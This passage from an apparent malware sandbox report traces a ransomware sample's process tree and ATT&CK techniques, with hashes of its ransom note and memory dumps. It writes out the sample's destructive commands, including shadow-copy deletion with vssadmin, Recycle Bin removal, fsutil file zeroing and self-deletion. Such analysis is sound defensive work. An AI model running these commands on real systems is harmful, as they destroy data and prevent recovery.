  - Launches sc.exe
  PID:1640
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2008
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2356
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2540
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:940
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:1628
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:536
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:2324
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1196
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:2244
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2392
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2652
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2624
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2504
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2452
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2692
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1836
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1120
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:2844
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp6E4D.bat
  2⤵
  PID:948
- C:\Windows\SysWOW64\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1496
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:2080
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:2036
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:1760
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  - Deletes itself
  PID:2264
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1280

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1947454510-2099337458-132077689916791254-12875404462038626511-10287290781440040743"
1⤵
PID:2580

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-146334725-75500100918925308371288026839-13606642871753185078100236713306286913"
1⤵
PID:2588

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2756

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1242610365-67547891215393885351329160471644134353174289820331586408291634416"
1⤵
PID:2824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

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Downloads

C:\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
0027a59cfa8298dddd542663ff5b7e77

SHA1
9561c318ff29e87d512e4840c40c7dd053b38bcc

SHA256
fcde3d2c9091a758abc5d41021497732d5c3d4b3cc4c8ebd1d471e8a8c5368a5

SHA512
6068ffa13164b3d2da1f464fd613017eb7718c2d4cd2c9a718ce1d1c290126438d1cbc177b40f680ca5e659d7cd00bb4bb3953a59eb325ca7136d11bd6ff9a27

Download Submit
memory/2000-0-0x000000007418E000-0x000000007418F000-memory.dmp

Filesize
4KB

Download
memory/2000-1-0x0000000000D90000-0x0000000000DAC000-memory.dmp

Filesize
112KB

Download
memory/2000-2-0x0000000074180000-0x000000007486E000-memory.dmp

Filesize
6.9MB

Download
memory/2000-116-0x0000000074180000-0x000000007486E000-memory.dmp

Filesize
6.9MB

Download